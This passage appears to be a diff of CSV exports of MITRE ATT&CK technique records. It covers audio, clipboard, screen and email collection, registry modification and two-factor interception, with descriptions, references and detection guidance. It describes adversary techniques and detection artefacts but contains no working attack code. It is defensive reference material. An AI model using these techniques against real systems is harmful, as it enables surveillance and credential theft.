operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.",['collection'],https://attack.mitre.org/techniques/T1123,mitre-attack,T1123,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'Command: Command Execution']",,"Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. -Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.","['Process: OS API Execution', 'Command: Command Execution']",,,['User'],"['Linux', 'macOS', 'Windows']",,CAPEC-634,https://capec.mitre.org/data/definitions/634.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1120', 'external_id': 'T1120'}, {'external_id': 'CAPEC-646', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/646.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.2,False,https://attack.mitre.org/techniques/T1120,mitre-attack,T1120,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Peripheral Device Discovery,"Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.",attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643,attack-pattern,['discovery'],2020-03-26T17:42:03.337Z,2017-05-31T21:31:28.471Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. +Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.",False,['User'],"['Linux', 'macOS', 'Windows']",,CAPEC-634,https://capec.mitre.org/data/definitions/634.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1120', 'external_id': 'T1120'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/646.html', 'external_id': 'CAPEC-646'}]",1.2,attack-pattern,attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:28.471Z,2020-03-26T17:42:03.337Z,Peripheral Device Discovery,"Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.",['discovery'],https://attack.mitre.org/techniques/T1120,mitre-attack,T1120,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,,"['User', 'Administrator', 'SYSTEM']","['Windows', 'macOS']",,CAPEC-646,https://capec.mitre.org/data/definitions/646.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1119', 'external_id': 'T1119'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.0,False,https://attack.mitre.org/techniques/T1119,mitre-attack,T1119,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Automated Collection,"Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,"['User', 'Administrator', 'SYSTEM']","['Windows', 'macOS']",,CAPEC-646,https://capec.mitre.org/data/definitions/646.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1119', 'external_id': 'T1119'}]",1.0,attack-pattern,attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:27.985Z,2020-03-31T22:18:43.019Z,Automated Collection,"Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. -This technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files.",attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619,attack-pattern,['collection'],2020-03-31T22:18:43.019Z,2017-05-31T21:31:27.985Z,"Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","['File: File Access', 'Command: Command Execution', 'Script: Script Execution']",,,['User'],"['Linux', 'macOS', 'Windows']",,,,['Permissions to access directories and files that store information of interest.'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1115', 'url': 'https://attack.mitre.org/techniques/T1115'}, {'external_id': 'CAPEC-637', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/637.html'}, {'url': 'https://msdn.microsoft.com/en-us/library/ms649012', 'description': 'Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.', 'source_name': 'MSDN Clipboard'}, {'url': 'https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363', 'description': 'rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017.', 'source_name': 'Operating with EmPyre'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.1,False,https://attack.mitre.org/techniques/T1115,mitre-attack,T1115,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Clipboard Data,"Adversaries may collect data stored in the clipboard from users copying information within or between applications. +This technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files.",['collection'],https://attack.mitre.org/techniques/T1119,mitre-attack,T1119,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Access', 'Command: Command Execution', 'Script: Script Execution']",,"Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,['User'],"['Linux', 'macOS', 'Windows']",,,,['Permissions to access directories and files that store information of interest.'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1115', 'external_id': 'T1115'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/637.html', 'external_id': 'CAPEC-637'}, {'source_name': 'MSDN Clipboard', 'description': 'Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/ms649012'}, {'source_name': 'Operating with EmPyre', 'description': 'rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017.', 'url': 'https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363'}]",1.1,attack-pattern,attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:25.967Z,2020-04-23T18:35:58.230Z,Clipboard Data,"Adversaries may collect data stored in the clipboard from users copying information within or between applications. -In Windows, Applications can access clipboard data by using the Windows API.(Citation: MSDN Clipboard) OSX provides a native command, pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)",attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f,attack-pattern,['collection'],2020-04-23T18:35:58.230Z,2017-05-31T21:31:25.967Z,"Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.","['Process: OS API Execution', 'Command: Command Execution']",,,,"['Linux', 'Windows', 'macOS']",,CAPEC-637,https://capec.mitre.org/data/definitions/637.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1114', 'url': 'https://attack.mitre.org/techniques/T1114'}, {'description': 'McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.', 'url': 'https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/', 'source_name': 'Microsoft Tim McMichael Exchange Mail Forwarding 2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",2.2,False,https://attack.mitre.org/techniques/T1114,mitre-attack,T1114,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Email Collection,"Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients. ",attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f,attack-pattern,['collection'],2021-04-14T14:22:44.435Z,2017-05-31T21:31:25.454Z,"There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection. +In Windows, Applications can access clipboard data by using the Windows API.(Citation: MSDN Clipboard) OSX provides a native command, pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)",['collection'],https://attack.mitre.org/techniques/T1115,mitre-attack,T1115,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'Command: Command Execution']",,"Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.",False,,"['Linux', 'Windows', 'macOS']",,CAPEC-637,https://capec.mitre.org/data/definitions/637.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1114', 'external_id': 'T1114'}, {'source_name': 'Microsoft Tim McMichael Exchange Mail Forwarding 2', 'description': 'McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.', 'url': 'https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/'}]",2.3,attack-pattern,attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:25.454Z,2021-10-15T20:19:33.750Z,Email Collection,"Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients. ",['collection'],https://attack.mitre.org/techniques/T1114,mitre-attack,T1114,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)']","['File: File Access', 'Network Traffic: Network Connection Creation', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Application Log: Application Log Content']",,"There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection. File access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity. @@ -3127,188 +3336,158 @@ Monitor processes and command-line arguments for actions that could be taken to Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. -Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.","['File: File Access', 'Network Traffic: Network Connection Creation', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Application Log: Application Log Content']","['Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)']",,['User'],"['Windows', 'Office 365', 'Google Workspace']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1113', 'url': 'https://attack.mitre.org/techniques/T1113'}, {'external_id': 'CAPEC-648', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/648.html'}, {'source_name': 'CopyFromScreen .NET', 'url': 'https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8', 'description': 'Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020.'}, {'url': 'https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/', 'description': 'Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.', 'source_name': 'Antiquated Mac Malware'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.1,False,https://attack.mitre.org/techniques/T1113,mitre-attack,T1113,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Screen Capture,"Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware) -",attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688,attack-pattern,['collection'],2020-03-24T19:56:37.627Z,2017-05-31T21:31:25.060Z,"Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.","['Process: OS API Execution', 'Command: Command Execution']",,,,"['Linux', 'macOS', 'Windows']",,CAPEC-648,https://capec.mitre.org/data/definitions/648.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1112', 'url': 'https://attack.mitre.org/techniques/T1112'}, {'external_id': 'CAPEC-203', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/203.html'}, {'url': 'https://technet.microsoft.com/en-us/library/cc732643.aspx', 'description': 'Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.', 'source_name': 'Microsoft Reg'}, {'url': 'https://docs.microsoft.com/sysinternals/downloads/reghide', 'description': 'Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018.', 'source_name': 'Microsoft Reghide NOV 2006'}, {'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/', 'description': 'Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018.', 'source_name': 'TrendMicro POWELIKS AUG 2014'}, {'url': 'https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353', 'description': 'Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018.', 'source_name': 'SpectorOps Hiding Reg Jul 2017'}, {'url': 'https://technet.microsoft.com/en-us/library/cc754820.aspx', 'description': 'Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015.', 'source_name': 'Microsoft Remote'}, {'url': 'https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657', 'description': 'Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.', 'source_name': 'Microsoft 4657 APR 2017'}, {'url': 'https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull', 'description': 'Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018.', 'source_name': 'Microsoft RegDelNull July 2016'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.2,False,https://attack.mitre.org/techniques/T1112,mitre-attack,T1112,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Modify Registry,"Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution. +Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.",False,['User'],"['Windows', 'Office 365', 'Google Workspace', 'macOS', 'Linux']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1113', 'external_id': 'T1113'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/648.html', 'external_id': 'CAPEC-648'}, {'source_name': 'CopyFromScreen .NET', 'description': 'Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8'}, {'source_name': 'Antiquated Mac Malware', 'description': 'Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/'}]",1.1,attack-pattern,attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:25.060Z,2020-03-24T19:56:37.627Z,Screen Capture,"Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware) +",['collection'],https://attack.mitre.org/techniques/T1113,mitre-attack,T1113,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'Command: Command Execution']",,"Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.",False,,"['Linux', 'macOS', 'Windows']",,CAPEC-648,https://capec.mitre.org/data/definitions/648.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1112', 'external_id': 'T1112'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/203.html', 'external_id': 'CAPEC-203'}, {'source_name': 'Microsoft Reg', 'description': 'Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.', 'url': 'https://technet.microsoft.com/en-us/library/cc732643.aspx'}, {'source_name': 'Microsoft Reghide NOV 2006', 'description': 'Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018.', 'url': 'https://docs.microsoft.com/sysinternals/downloads/reghide'}, {'source_name': 'TrendMicro POWELIKS AUG 2014', 'description': 'Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/'}, {'source_name': 'SpectorOps Hiding Reg Jul 2017', 'description': 'Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018.', 'url': 'https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353'}, {'source_name': 'Microsoft Remote', 'description': 'Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015.', 'url': 'https://technet.microsoft.com/en-us/library/cc754820.aspx'}, {'source_name': 'Microsoft 4657 APR 2017', 'description': 'Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.', 'url': 'https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657'}, {'source_name': 'Microsoft RegDelNull July 2016', 'description': 'Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018.', 'url': 'https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull'}]",1.2,attack-pattern,attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:23.587Z,2020-08-13T20:02:49.641Z,Modify Registry,"Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution. Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API. Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017) -The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.",attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4,attack-pattern,['defense-evasion'],2020-08-13T20:02:49.641Z,2017-05-31T21:31:23.587Z,"Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file. +The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.",['defense-evasion'],https://attack.mitre.org/techniques/T1112,mitre-attack,T1112,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Bartosz Jerzman', 'Travis Smith, Tripwire', 'David Lu, Tripwire']","['Process: Process Creation', 'Process: OS API Execution', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Deletion']",['Host forensic analysis'],"Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file. Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis. -Monitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).","['Process: Process Creation', 'Process: OS API Execution', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Deletion']","['Bartosz Jerzman', 'Travis Smith, Tripwire', 'David Lu, Tripwire']",['Host forensic analysis'],"['User', 'Administrator', 'SYSTEM']",['Windows'],,CAPEC-203,https://capec.mitre.org/data/definitions/203.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1111', 'url': 'https://attack.mitre.org/techniques/T1111'}, {'url': 'https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf', 'description': 'Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.', 'source_name': 'Mandiant M Trends 2011'}, {'url': 'https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx', 'description': 'Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved September 24, 2018.', 'source_name': 'GCN RSA June 2011'}, {'url': 'http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf', 'description': 'Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.', 'source_name': 'Operation Emmental'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.1,False,https://attack.mitre.org/techniques/T1111,mitre-attack,T1111,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Two-Factor Authentication Interception,"Adversaries may target two-factor authentication mechanisms, such as smart cards, to gain access to credentials that can be used to access systems, services, and network resources. Use of two or multi-factor authentication (2FA or MFA) is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. +Monitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).",False,"['User', 'Administrator', 'SYSTEM']",['Windows'],,CAPEC-203,https://capec.mitre.org/data/definitions/203.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1111', 'external_id': 'T1111'}, {'source_name': 'Mandiant M Trends 2011', 'description': 'Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.', 'url': 'https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf'}, {'source_name': 'GCN RSA June 2011', 'description': 'Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved September 24, 2018.', 'url': 'https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx'}, {'source_name': 